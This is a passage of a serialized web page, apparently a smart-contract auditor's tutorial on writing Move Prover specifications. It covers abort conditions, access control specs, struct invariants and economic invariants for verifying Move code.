"tag":327,"props":19776,"children":19777},{"style":356},[19778],{"type":29,"value":15422},{"type":24,"tag":327,"props":19780,"children":19781},{"style":381},[19782],{"type":29,"value":4809},{"type":24,"tag":327,"props":19784,"children":19785},{"style":340},[19786],{"type":29,"value":19787}," compare",{"type":24,"tag":327,"props":19789,"children":19790},{"style":346},[19791],{"type":29,"value":349},{"type":24,"tag":327,"props":19793,"children":19794},{"style":381},[19795],{"type":29,"value":8716},{"type":24,"tag":327,"props":19797,"children":19798},{"style":356},[19799],{"type":29,"value":19800},"result_11",{"type":24,"tag":327,"props":19802,"children":19803},{"style":346},[19804],{"type":29,"value":2744},{"type":24,"tag":327,"props":19806,"children":19807},{"style":381},[19808],{"type":29,"value":8716},{"type":24,"tag":327,"props":19810,"children":19811},{"style":356},[19812],{"type":29,"value":19813},"result_22",{"type":24,"tag":327,"props":19815,"children":19816},{"style":346},[19817],{"type":29,"value":583},{"type":24,"tag":327,"props":19819,"children":19820},{"class":329,"line":529},[19821,19825,19830,19834,19838,19843,19847,19852],{"type":24,"tag":327,"props":19822,"children":19823},{"style":425},[19824],{"type":29,"value":428},{"type":24,"tag":327,"props":19826,"children":19827},{"style":346},[19828],{"type":29,"value":19829}," ( ",{"type":24,"tag":327,"props":19831,"children":19832},{"style":356},[19833],{"type":29,"value":15487},{"type":24,"tag":327,"props":19835,"children":19836},{"style":381},[19837],{"type":29,"value":9887},{"type":24,"tag":327,"props":19839,"children":19840},{"style":346},[19841],{"type":29,"value":19842}," EQUAL ) ",{"type":24,"tag":327,"props":19844,"children":19845},{"style":334},[19846],{"type":29,"value":2961},{"type":24,"tag":327,"props":19848,"children":19849},{"style":425},[19850],{"type":29,"value":19851}," else",{"type":24,"tag":327,"props":19853,"children":19854},{"style":334},[19855],{"type":29,"value":19856}," false\n",{"type":24,"tag":327,"props":19858,"children":19859},{"class":329,"line":538},[19860],{"type":24,"tag":327,"props":19861,"children":19862},{"style":346},[19863],{"type":29,"value":592},{"type":24,"tag":25,"props":19865,"children":19866},{},[19867],{"type":29,"value":19868},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":24,"tag":317,"props":19870,"children":19872},{"code":19871,"language":1552,"meta":7,"className":1553,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[19873],{"type":24,"tag":284,"props":19874,"children":19875},{"__ignoreMap":7},[19876,19891,19995,20018],{"type":24,"tag":327,"props":19877,"children":19878},{"class":329,"line":330},[19879,19883,19887],{"type":24,"tag":327,"props":19880,"children":19881},{"style":356},[19882],{"type":29,"value":15835},{"type":24,"tag":327,"props":19884,"children":19885},{"style":356},[19886],{"type":29,"value":19536},{"type":24,"tag":327,"props":19888,"children":19889},{"style":346},[19890],{"type":29,"value":497},{"type":24,"tag":327,"props":19892,"children":19893},{"class":329,"line":367},[19894,19898,19902,19907,19911,19915,19919,19923,19927,19931,19935,19939,19943,19947,19951,19955,19959,19963,19967,19971,19975,19979,19983,19987,19991],{"type":24,"tag":327,"props":19895,"children":19896},{"style":356},[19897],{"type":29,"value":17450},{"type":24,"tag":327,"props":19899,"children":19900},{"style":346},[19901],{"type":29,"value":5894},{"type":24,"tag":327,"props":19903,"children":19904},{"style":340},[19905],{"type":29,"value":19906},"value_of_U256",{"type":24,"tag":327,"props":19908,"children":19909},{"style":346},[19910],{"type":29,"value":349},{"type":24,"tag":327,"props":19912,"children":19913},{"style":356},[19914],{"type":29,"value":57},{"type":24,"tag":327,"props":19916,"children":19917},{"style":346},[19918],{"type":29,"value":1674},{"type":24,"tag":327,"props":19920,"children":19921},{"style":381},[19922],{"type":29,"value":394},{"type":24,"tag":327,"props":19924,"children":19925},{"style":340},[19926],{"type":29,"value":17251},{"type":24,"tag":327,"props":19928,"children":19929},{"style":346},[19930],{"type":29,"value":349},{"type":24,"tag":327,"props":19932,"children":19933},{"style":356},[19934],{"type":29,"value":10828},{"type":24,"tag":327,"props":19936,"children":19937},{"style":346},[19938],{"type":29,"value":16395},{"type":24,"tag":327,"props":19940,"children":19941},{"style":381},[19942],{"type":29,"value":394},{"type":24,"tag":327,"props":19944,"children":19945},{"style":340},[19946],{"type":29,"value":17251},{"type":24,"tag":327,"props":19948,"children":19949},{"style":346},[19950],{"type":29,"value":349},{"type":24,"tag":327,"props":19952,"children":19953},{"style":356},[19954],{"type":29,"value":320},{"type":24,"tag":327,"props":19956,"children":19957},{"style":346},[19958],{"type":29,"value":1674},{"type":24,"tag":327,"props":19960,"children":19961},{"style":381},[19962],{"type":29,"value":2166},{"type":24,"tag":327,"props":19964,"children":19965},{"style":1639},[19966],{"type":29,"value":17207},{"type":24,"tag":327,"props":19968,"children":19969},{"style":381},[19970],{"type":29,"value":17364},{"type":24,"tag":327,"props":19972,"children":19973},{"style":1639},[19974],{"type":29,"value":17207},{"type":24,"tag":327,"props":19976,"children":19977},{"style":381},[19978],{"type":29,"value":17364},{"type":24,"tag":327,"props":19980,"children":19981},{"style":1639},[19982],{"type":29,"value":17207},{"type":24,"tag":327,"props":19984,"children":19985},{"style":381},[19986],{"type":29,"value":17364},{"type":24,"tag":327,"props":19988,"children":19989},{"style":1639},[19990],{"type":29,"value":17207},{"type":24,"tag":327,"props":19992,"children":19993},{"style":346},[19994],{"type":29,"value":405},{"type":24,"tag":327,"props":19996,"children":19997},{"class":329,"line":408},[19998,20002,20006,20010,20014],{"type":24,"tag":327,"props":19999,"children":20000},{"style":356},[20001],{"type":29,"value":17747},{"type":24,"tag":327,"props":20003,"children":20004},{"style":356},[20005],{"type":29,"value":16713},{"type":24,"tag":327,"props":20007,"children":20008},{"style":381},[20009],{"type":29,"value":9887},{"type":24,"tag":327,"props":20011,"children":20012},{"style":334},[20013],{"type":29,"value":9722},{"type":24,"tag":327,"props":20015,"children":20016},{"style":346},[20017],{"type":29,"value":405},{"type":24,"tag":327,"props":20019,"children":20020},{"class":329,"line":421},[20021],{"type":24,"tag":327,"props":20022,"children":20023},{"style":346},[20024],{"type":29,"value":592},{"type":24,"tag":25,"props":20026,"children":20027},{},[20028],{"type":29,"value":20029},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":24,"tag":317,"props":20031,"children":20032},{"code":19493},[20033],{"type":24,"tag":284,"props":20034,"children":20035},{"__ignoreMap":7},[20036],{"type":29,"value":19493},{"type":24,"tag":25,"props":20038,"children":20039},{},[20040,20042,20049],{"type":29,"value":20041},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":24,"tag":57,"props":20043,"children":20046},{"href":20044,"rel":20045},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[61],[20047],{"type":29,"value":20048},"spec-lang.md",{"type":29,"value":20050}," in the Move Repository.",{"type":24,"tag":228,"props":20052,"children":20054},{"id":20053},"use-cases",[20055],{"type":29,"value":20056},"Use Cases",{"type":24,"tag":25,"props":20058,"children":20059},{},[20060],{"type":29,"value":20061},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":24,"tag":25,"props":20063,"children":20064},{},[20065],{"type":29,"value":20066},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":24,"tag":235,"props":20068,"children":20070},{"id":20069},"error-conditions",[20071],{"type":29,"value":20072},"Error Conditions",{"type":24,"tag":25,"props":20074,"children":20075},{},[20076,20078,20084],{"type":29,"value":20077},"Taking an example from ",{"type":24,"tag":284,"props":20079,"children":20081},{"className":20080},[],[20082],{"type":29,"value":20083},"std::fixed_point32",{"type":29,"value":20085},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":24,"tag":317,"props":20087,"children":20089},{"code":20088,"language":1552,"meta":7,"className":1553,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[20090],{"type":24,"tag":284,"props":20091,"children":20092},{"__ignoreMap":7},[20093,20114,20134,20155,20201,20209,20272,20311],{"type":24,"tag":327,"props":20094,"children":20095},{"class":329,"line":330},[20096,20100,20105,20110],{"type":24,"tag":327,"props":20097,"children":20098},{"style":356},[20099],{"type":29,"value":16485},{"type":24,"tag":327,"props":20101,"children":20102},{"style":356},[20103],{"type":29,"value":20104}," schema",{"type":24,"tag":327,"props":20106,"children":20107},{"style":1639},[20108],{"type":29,"value":20109}," MultiplyAbortsIf",{"type":24,"tag":327,"props":20111,"children":20112},{"style":346},[20113],{"type":29,"value":497},{"type":24,"tag":327,"props":20115,"children":20116},{"class":329,"line":367},[20117,20122,20126,20130],{"type":24,"tag":327,"props":20118,"children":20119},{"style":356},[20120],{"type":29,"value":20121},"          val",{"type":24,"tag":327,"props":20123,"children":20124},{"style":381},[20125],{"type":29,"value":1636},{"type":24,"tag":327,"props":20127,"children":20128},{"style":356},[20129],{"type":29,"value":17280},{"type":24,"tag":327,"props":20131,"children":20132},{"style":346},[20133],{"type":29,"value":405},{"type":24,"tag":327,"props":20135,"children":20136},{"class":329,"line":408},[20137,20142,20146,20151],{"type":24,"tag":327,"props":20138,"children":20139},{"style":356},[20140],{"type":29,"value":20141},"          multiplier",{"type":24,"tag":327,"props":20143,"children":20144},{"style":381},[20145],{"type":29,"value":1636},{"type":24,"tag":327,"props":20147,"children":20148},{"style":1639},[20149],{"type":29,"value":20150}," FixedPoint32",{"type":24,"tag":327,"props":20152,"children":20153},{"style":346},[20154],{"type":29,"value":405},{"type":24,"tag":327,"props":20156,"children":20157},{"class":329,"line":421},[20158,20163,20168,20172,20177,20181,20186,20191,20196],{"type":24,"tag":327,"props":20159,"children":20160},{"style":356},[20161],{"type":29,"value":20162},"          aborts_if",{"type":24,"tag":327,"props":20164,"children":20165},{"style":340},[20166],{"type":29,"value":20167}," spec_multiply_u64",{"type":24,"tag":327,"props":20169,"children":20170},{"style":346},[20171],{"type":29,"value":349},{"type":24,"tag":327,"props":20173,"children":20174},{"style":356},[20175],{"type":29,"value":20176},"val",{"type":24,"tag":327,"props":20178,"children":20179},{"style":346},[20180],{"type":29,"value":2744},{"type":24,"tag":327,"props":20182,"children":20183},{"style":356},[20184],{"type":29,"value":20185},"multiplier",{"type":24,"tag":327,"props":20187,"children":20188},{"style":346},[20189],{"type":29,"value":20190},") > MAX_U64 ",{"type":24,"tag":327,"props":20192,"children":20193},{"style":356},[20194],{"type":29,"value":20195},"with",{"type":24,"tag":327,"props":20197,"children":20198},{"style":346},[20199],{"type":29,"value":20200}," EMULTIPLICATION;\n",{"type":24,"tag":327,"props":20202,"children":20203},{"class":329,"line":450},[20204],{"type":24,"tag":327,"props":20205,"children":20206},{"style":346},[20207],{"type":29,"value":20208},"      }\n",{"type":24,"tag":327,"props":20210,"children":20211},{"class":329,"line":481},[20212,20216,20220,20224,20228,20232,20236,20240,20244,20248,20252,20256,20260,20264,20268],{"type":24,"tag":327,"props":20213,"children":20214},{"style":356},[20215],{"type":29,"value":16485},{"type":24,"tag":327,"props":20217,"children":20218},{"style":356},[20219],{"type":29,"value":13773},{"type":24,"tag":327,"props":20221,"children":20222},{"style":340},[20223],{"type":29,"value":20167},{"type":24,"tag":327,"props":20225,"children":20226},{"style":346},[20227],{"type":29,"value":349},{"type":24,"tag":327,"props":20229,"children":20230},{"style":356},[20231],{"type":29,"value":20176},{"type":24,"tag":327,"props":20233,"children":20234},{"style":381},[20235],{"type":29,"value":1636},{"type":24,"tag":327,"props":20237,"children":20238},{"style":356},[20239],{"type":29,"value":17280},{"type":24,"tag":327,"props":20241,"children":20242},{"style":346},[20243],{"type":29,"value":2744},{"type":24,"tag":327,"props":20245,"children":20246},{"style":356},[20247],{"type":29,"value":20185},{"type":24,"tag":327,"props":20249,"children":20250},{"style":381},[20251],{"type":29,"value":1636},{"type":24,"tag":327,"props":20253,"children":20254},{"style":1639},[20255],{"type":29,"value":20150},{"type":24,"tag":327,"props":20257,"children":20258},{"style":346},[20259],{"type":29,"value":3146},{"type":24,"tag":327,"props":20261,"children":20262},{"style":381},[20263],{"type":29,"value":1636},{"type":24,"tag":327,"props":20265,"children":20266},{"style":356},[20267],{"type":29,"value":17280},{"type":24,"tag":327,"props":20269,"children":20270},{"style":346},[20271],{"type":29,"value":497},{"type":24,"tag":327,"props":20273,"children":20274},{"class":329,"line":500},[20275,20279,20283,20287,20292,20296,20301,20306],{"type":24,"tag":327,"props":20276,"children":20277},{"style":346},[20278],{"type":29,"value":16270},{"type":24,"tag":327,"props":20280,"children":20281},{"style":356},[20282],{"type":29,"value":20176},{"type":24,"tag":327,"props":20284,"children":20285},{"style":381},[20286],{"type":29,"value":17364},{"type":24,"tag":327,"props":20288,"children":20289},{"style":356},[20290],{"type":29,"value":20291}," multiplier",{"type":24,"tag":327,"props":20293,"children":20294},{"style":381},[20295],{"type":29,"value":66},{"type":24,"tag":327,"props":20297,"children":20298},{"style":346},[20299],{"type":29,"value":20300},"value) ",{"type":24,"tag":327,"props":20302,"children":20303},{"style":381},[20304],{"type":29,"value":20305},">>",{"type":24,"tag":327,"props":20307,"children":20308},{"style":397},[20309],{"type":29,"value":20310}," 32\n",{"type":24,"tag":327,"props":20312,"children":20313},{"class":329,"line":529},[20314],{"type":24,"tag":327,"props":20315,"children":20316},{"style":346},[20317],{"type":29,"value":20208},{"type":24,"tag":235,"props":20319,"children":20321},{"id":20320},"access-control-policies",[20322],{"type":29,"value":20323},"Access Control Policies",{"type":24,"tag":25,"props":20325,"children":20326},{},[20327],{"type":29,"value":20328},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":24,"tag":25,"props":20330,"children":20331},{},[20332,20334,20340,20342,20347],{"type":29,"value":20333},"For example, in ",{"type":24,"tag":284,"props":20335,"children":20337},{"className":20336},[],[20338],{"type":29,"value":20339},"std::offer",{"type":29,"value":20341}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":24,"tag":42,"props":20343,"children":20344},{},[20345],{"type":29,"value":20346},"or",{"type":29,"value":20348}," the recipient is now allowed.",{"type":24,"tag":317,"props":20350,"children":20352},{"code":20351,"language":1552,"meta":7,"className":1553,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[20353],{"type":24,"tag":284,"props":20354,"children":20355},{"__ignoreMap":7},[20356,20373,20381,20389,20397,20444,20502,20545,20611],{"type":24,"tag":327,"props":20357,"children":20358},{"class":329,"line":330},[20359,20364,20369],{"type":24,"tag":327,"props":20360,"children":20361},{"style":356},[20362],{"type":29,"value":20363},"    spec",{"type":24,"tag":327,"props":20365,"children":20366},{"style":356},[20367],{"type":29,"value":20368}," redeem",{"type":24,"tag":327,"props":20370,"children":20371},{"style":346},[20372],{"type":29,"value":497},{"type":24,"tag":327,"props":20374,"children":20375},{"class":329,"line":367},[20376],{"type":24,"tag":327,"props":20377,"children":20378},{"style":551},[20379],{"type":29,"value":20380},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":24,"tag":327,"props":20382,"children":20383},{"class":329,"line":408},[20384],{"type":24,"tag":327,"props":20385,"children":20386},{"style":551},[20387],{"type":29,"value":20388},"      /// cannot redeem the offer.\n",{"type":24,"tag":327,"props":20390,"children":20391},{"class":329,"line":421},[20392],{"type":24,"tag":327,"props":20393,"children":20394},{"style":551},[20395],{"type":29,"value":20396},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":24,"tag":327,"props":20398,"children":20399},{"class":329,"line":450},[20400,20404,20409,20413,20417,20422,20426,20431,20435,20440],{"type":24,"tag":327,"props":20401,"children":20402},{"style":356},[20403],{"type":29,"value":16609},{"type":24,"tag":327,"props":20405,"children":20406},{"style":381},[20407],{"type":29,"value":20408}," !",{"type":24,"tag":327,"props":20410,"children":20411},{"style":356},[20412],{"type":29,"value":14270},{"type":24,"tag":327,"props":20414,"children":20415},{"style":346},[20416],{"type":29,"value":1596},{"type":24,"tag":327,"props":20418,"children":20419},{"style":1639},[20420],{"type":29,"value":20421},"Offer",{"type":24,"tag":327,"props":20423,"children":20424},{"style":346},[20425],{"type":29,"value":1596},{"type":24,"tag":327,"props":20427,"children":20428},{"style":1639},[20429],{"type":29,"value":20430},"Offered",{"type":24,"tag":327,"props":20432,"children":20433},{"style":346},[20434],{"type":29,"value":14292},{"type":24,"tag":327,"props":20436,"children":20437},{"style":356},[20438],{"type":29,"value":20439},"offer_address",{"type":24,"tag":327,"props":20441,"children":20442},{"style":346},[20443],{"type":29,"value":583},{"type":24,"tag":327,"props":20445,"children":20446},{"class":329,"line":481},[20447,20451,20455,20460,20464,20468,20472,20476,20481,20485,20489,20493,20498],{"type":24,"tag":327,"props":20448,"children":20449},{"style":356},[20450],{"type":29,"value":16609},{"type":24,"tag":327,"props":20452,"children":20453},{"style":381},[20454],{"type":29,"value":20408},{"type":24,"tag":327,"props":20456,"children":20457},{"style":356},[20458],{"type":29,"value":20459},"is_allowed_recipient",{"type":24,"tag":327,"props":20461,"children":20462},{"style":346},[20463],{"type":29,"value":1596},{"type":24,"tag":327,"props":20465,"children":20466},{"style":1639},[20467],{"type":29,"value":20430},{"type":24,"tag":327,"props":20469,"children":20470},{"style":346},[20471],{"type":29,"value":15173},{"type":24,"tag":327,"props":20473,"children":20474},{"style":356},[20475],{"type":29,"value":20439},{"type":24,"tag":327,"props":20477,"children":20478},{"style":346},[20479],{"type":29,"value":20480},", signer",{"type":24,"tag":327,"props":20482,"children":20483},{"style":381},[20484],{"type":29,"value":2407},{"type":24,"tag":327,"props":20486,"children":20487},{"style":340},[20488],{"type":29,"value":14772},{"type":24,"tag":327,"props":20490,"children":20491},{"style":346},[20492],{"type":29,"value":349},{"type":24,"tag":327,"props":20494,"children":20495},{"style":356},[20496],{"type":29,"value":20497},"account",{"type":24,"tag":327,"props":20499,"children":20500},{"style":346},[20501],{"type":29,"value":14786},{"type":24,"tag":327,"props":20503,"children":20504},{"class":329,"line":500},[20505,20509,20513,20517,20521,20525,20529,20533,20537,20541],{"type":24,"tag":327,"props":20506,"children":20507},{"style":356},[20508],{"type":29,"value":15748},{"type":24,"tag":327,"props":20510,"children":20511},{"style":381},[20512],{"type":29,"value":20408},{"type":24,"tag":327,"props":20514,"children":20515},{"style":356},[20516],{"type":29,"value":14270},{"type":24,"tag":327,"props":20518,"children":20519},{"style":346},[20520],{"type":29,"value":1596},{"type":24,"tag":327,"props":20522,"children":20523},{"style":1639},[20524],{"type":29,"value":20421},{"type":24,"tag":327,"props":20526,"children":20527},{"style":346},[20528],{"type":29,"value":1596},{"type":24,"tag":327,"props":20530,"children":20531},{"style":1639},[20532],{"type":29,"value":20430},{"type":24,"tag":327,"props":20534,"children":20535},{"style":346},[20536],{"type":29,"value":14292},{"type":24,"tag":327,"props":20538,"children":20539},{"style":356},[20540],{"type":29,"value":20439},{"type":24,"tag":327,"props":20542,"children":20543},{"style":346},[20544],{"type":29,"value":583},{"type":24,"tag":327,"props":20546,"children":20547},{"class":329,"line":529},[20548,20552,20556,20560,20565,20569,20574,20578,20582,20586,20590,20594,20598,20602,20606],{"type":24,"tag":327,"props":20549,"children":20550},{"style":356},[20551],{"type":29,"value":15748},{"type":24,"tag":327,"props":20553,"children":20554},{"style":356},[20555],{"type":29,"value":16713},{"type":24,"tag":327,"props":20557,"children":20558},{"style":381},[20559],{"type":29,"value":9887},{"type":24,"tag":327,"props":20561,"children":20562},{"style":340},[20563],{"type":29,"value":20564}," old",{"type":24,"tag":327,"props":20566,"children":20567},{"style":346},[20568],{"type":29,"value":349},{"type":24,"tag":327,"props":20570,"children":20571},{"style":356},[20572],{"type":29,"value":20573},"global",{"type":24,"tag":327,"props":20575,"children":20576},{"style":346},[20577],{"type":29,"value":1596},{"type":24,"tag":327,"props":20579,"children":20580},{"style":1639},[20581],{"type":29,"value":20421},{"type":24,"tag":327,"props":20583,"children":20584},{"style":346},[20585],{"type":29,"value":1596},{"type":24,"tag":327,"props":20587,"children":20588},{"style":1639},[20589],{"type":29,"value":20430},{"type":24,"tag":327,"props":20591,"children":20592},{"style":346},[20593],{"type":29,"value":14292},{"type":24,"tag":327,"props":20595,"children":20596},{"style":356},[20597],{"type":29,"value":20439},{"type":24,"tag":327,"props":20599,"children":20600},{"style":346},[20601],{"type":29,"value":3146},{"type":24,"tag":327,"props":20603,"children":20604},{"style":381},[20605],{"type":29,"value":66},{"type":24,"tag":327,"props":20607,"children":20608},{"style":346},[20609],{"type":29,"value":20610},"offered);\n",{"type":24,"tag":327,"props":20612,"children":20613},{"class":329,"line":538},[20614],{"type":24,"tag":327,"props":20615,"children":20616},{"style":346},[20617],{"type":29,"value":535},{"type":24,"tag":25,"props":20619,"children":20620},{},[20621],{"type":29,"value":20622},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":24,"tag":235,"props":20624,"children":20626},{"id":20625},"complex-mathematical-formulae",[20627],{"type":29,"value":20628},"Complex Mathematical Formulae",{"type":24,"tag":25,"props":20630,"children":20631},{},[20632,20634,20638],{"type":29,"value":20633},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":24,"tag":42,"props":20635,"children":20636},{},[20637],{"type":29,"value":1842},{"type":29,"value":20639}," the output.",{"type":24,"tag":25,"props":20641,"children":20642},{},[20643],{"type":29,"value":20644},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":24,"tag":25,"props":20646,"children":20647},{},[20648,20650,20657],{"type":29,"value":20649},"For example, in our work with ",{"type":24,"tag":57,"props":20651,"children":20654},{"href":20652,"rel":20653},"https://laminar.markets/",[61],[20655],{"type":29,"value":20656},"Laminar Markets",{"type":29,"value":20658},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":24,"tag":235,"props":20660,"children":20662},{"id":20661},"data-invariants",[20663],{"type":29,"value":20664},"Data Invariants",{"type":24,"tag":25,"props":20666,"children":20667},{},[20668,20670,20676,20677,20683,20685,20691,20693,20699],{"type":29,"value":20669},"Formal verification provides the best environment to verify that certain ",{"type":24,"tag":284,"props":20671,"children":20673},{"className":20672},[],[20674],{"type":29,"value":20675},"variables",{"type":29,"value":1503},{"type":24,"tag":284,"props":20678,"children":20680},{"className":20679},[],[20681],{"type":29,"value":20682},"resources",{"type":29,"value":20684}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":24,"tag":284,"props":20686,"children":20688},{"className":20687},[],[20689],{"type":29,"value":20690},"index",{"type":29,"value":20692}," is never greater than 4 using a ",{"type":24,"tag":284,"props":20694,"children":20696},{"className":20695},[],[20697],{"type":29,"value":20698},"struct invariant",{"type":29,"value":66},{"type":24,"tag":317,"props":20701,"children":20703},{"code":20702,"language":1552,"meta":7,"className":1553,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[20704],{"type":24,"tag":284,"props":20705,"children":20706},{"__ignoreMap":7},[20707,20723,20740,20747,20754,20769,20793],{"type":24,"tag":327,"props":20708,"children":20709},{"class":329,"line":330},[20710,20714,20719],{"type":24,"tag":327,"props":20711,"children":20712},{"style":334},[20713],{"type":29,"value":2195},{"type":24,"tag":327,"props":20715,"children":20716},{"style":1639},[20717],{"type":29,"value":20718}," Type",{"type":24,"tag":327,"props":20720,"children":20721},{"style":346},[20722],{"type":29,"value":497},{"type":24,"tag":327,"props":20724,"children":20725},{"class":329,"line":367},[20726,20731,20735],{"type":24,"tag":327,"props":20727,"children":20728},{"style":356},[20729],{"type":29,"value":20730},"    index",{"type":24,"tag":327,"props":20732,"children":20733},{"style":381},[20734],{"type":29,"value":1636},{"type":24,"tag":327,"props":20736,"children":20737},{"style":1639},[20738],{"type":29,"value":20739}," u64\n",{"type":24,"tag":327,"props":20741,"children":20742},{"class":329,"line":408},[20743],{"type":24,"tag":327,"props":20744,"children":20745},{"style":346},[20746],{"type":29,"value":592},{"type":24,"tag":327,"props":20748,"children":20749},{"class":329,"line":421},[20750],{"type":24,"tag":327,"props":20751,"children":20752},{"emptyLinePlaceholder":16},[20753],{"type":29,"value":544},{"type":24,"tag":327,"props":20755,"children":20756},{"class":329,"line":450},[20757,20761,20765],{"type":24,"tag":327,"props":20758,"children":20759},{"style":356},[20760],{"type":29,"value":15835},{"type":24,"tag":327,"props":20762,"children":20763},{"style":1639},[20764],{"type":29,"value":20718},{"type":24,"tag":327,"props":20766,"children":20767},{"style":346},[20768],{"type":29,"value":497},{"type":24,"tag":327,"props":20770,"children":20771},{"class":329,"line":481},[20772,20776,20781,20785,20789],{"type":24,"tag":327,"props":20773,"children":20774},{"style":356},[20775],{"type":29,"value":15852},{"type":24,"tag":327,"props":20777,"children":20778},{"style":356},[20779],{"type":29,"value":20780}," index",{"type":24,"tag":327,"props":20782,"children":20783},{"style":381},[20784],{"type":29,"value":4927},{"type":24,"tag":327,"props":20786,"children":20787},{"style":397},[20788],{"type":29,"value":19292},{"type":24,"tag":327,"props":20790,"children":20791},{"style":346},[20792],{"type":29,"value":405},{"type":24,"tag":327,"props":20794,"children":20795},{"class":329,"line":500},[20796],{"type":24,"tag":327,"props":20797,"children":20798},{"style":346},[20799],{"type":29,"value":592},{"type":24,"tag":25,"props":20801,"children":20802},{},[20803,20805,20812,20813,20819],{"type":29,"value":20804},"We were able to verify more complex properties in our recent audits for ",{"type":24,"tag":57,"props":20806,"children":20809},{"href":20807,"rel":20808},"https://layerzero.network/",[61],[20810],{"type":29,"value":20811},"LayerZero",{"type":29,"value":1323},{"type":24,"tag":57,"props":20814,"children":20817},{"href":20815,"rel":20816},"http://ariesmarkets.xyz/",[61],[20818],{"type":29,"value":14355},{"type":29,"value":20820},", but the details are left as an exercise to the reader.",{"type":24,"tag":235,"props":20822,"children":20824},{"id":20823},"economic-invariants",[20825],{"type":29,"value":20826},"Economic Invariants.",{"type":24,"tag":25,"props":20828,"children":20829},{},[20830],{"type":29,"value":20831},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":24,"tag":25,"props":20833,"children":20834},{},[20835],{"type":29,"value":20836},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":24,"tag":317,"props":20838,"children":20839},{"code":15528,"language":1552,"meta":7,"className":1553,"style":7},[20840],{"type":24,"tag":284,"props":20841,"children":20842},{"__ignoreMap":7},[20843,20850,20933,20972,20991,20998,21013,21036,21059,21082],{"type":24,"tag":327,"props":20844,"children":20845},{"class":329,"line":330},[20846],{"type":24,"tag":327,"props":20847,"children":20848},{"style":551},[20849],{"type":29,"value":15540},{"type":24,"tag":327,"props":20851,"children":20852},{"class":329,"line":367},[20853,20857,20861,20865,20869,20873,20877,20881,20885,20889,20893,20897,20901,20905,20909,20913,20917,20921,20925,20929],{"type":24,"tag":327,"props":20854,"children":20855},{"style":356},[20856],{"type":29,"value":14136},{"type":24,"tag":327,"props":20858,"children":20859},{"style":340},[20860],{"type":29,"value":15552},{"type":24,"tag":327,"props":20862,"children":20863},{"style":346},[20864],{"type":29,"value":349},{"type":24,"tag":327,"props":20866,"children":20867},{"style":356},[20868],{"type":29,"value":15561},{"type":24,"tag":327,"props":20870,"children":20871},{"style":381},[20872],{"type":29,"value":1636},{"type":24,"tag":327,"props":20874,"children":20875},{"style":1639},[20876],{"type":29,"value":1669},{"type":24,"tag":327,"props":20878,"children":20879},{"style":346},[20880],{"type":29,"value":2744},{"type":24,"tag":327,"props":20882,"children":20883},{"style":356},[20884],{"type":29,"value":15578},{"type":24,"tag":327,"props":20886,"children":20887},{"style":381},[20888],{"type":29,"value":1636},{"type":24,"tag":327,"props":20890,"children":20891},{"style":1639},[20892],{"type":29,"value":1669},{"type":24,"tag":327,"props":20894,"children":20895},{"style":346},[20896],{"type":29,"value":3146},{"type":24,"tag":327,"props":20898,"children":20899},{"style":381},[20900],{"type":29,"value":1636},{"type":24,"tag":327,"props":20902,"children":20903},{"style":346},[20904],{"type":29,"value":5894},{"type":24,"tag":327,"props":20906,"children":20907},{"style":1639},[20908],{"type":29,"value":15603},{"type":24,"tag":327,"props":20910,"children":20911},{"style":346},[20912],{"type":29,"value":2744},{"type":24,"tag":327,"props":20914,"children":20915},{"style":1639},[20916],{"type":29,"value":15603},{"type":24,"tag":327,"props":20918,"children":20919},{"style":346},[20920],{"type":29,"value":1674},{"type":24,"tag":327,"props":20922,"children":20923},{"style":356},[20924],{"type":29,"value":13910},{"type":24,"tag":327,"props":20926,"children":20927},{"style":1639},[20928],{"type":29,"value":15624},{"type":24,"tag":327,"props":20930,"children":20931},{"style":346},[20932],{"type":29,"value":497},{"type":24,"tag":327,"props":20934,"children":20935},{"class":329,"line":408},[20936,20940,20944,20948,20952,20956,20960,20964,20968],{"type":24,"tag":327,"props":20937,"children":20938},{"style":334},[20939],{"type":29,"value":15636},{"type":24,"tag":327,"props":20941,"children":20942},{"style":356},[20943],{"type":29,"value":15641},{"type":24,"tag":327,"props":20945,"children":20946},{"style":381},[20947],{"type":29,"value":4809},{"type":24,"tag":327,"props":20949,"children":20950},{"style":340},[20951],{"type":29,"value":15650},{"type":24,"tag":327,"props":20953,"children":20954},{"style":346},[20955],{"type":29,"value":349},{"type":24,"tag":327,"props":20957,"children":20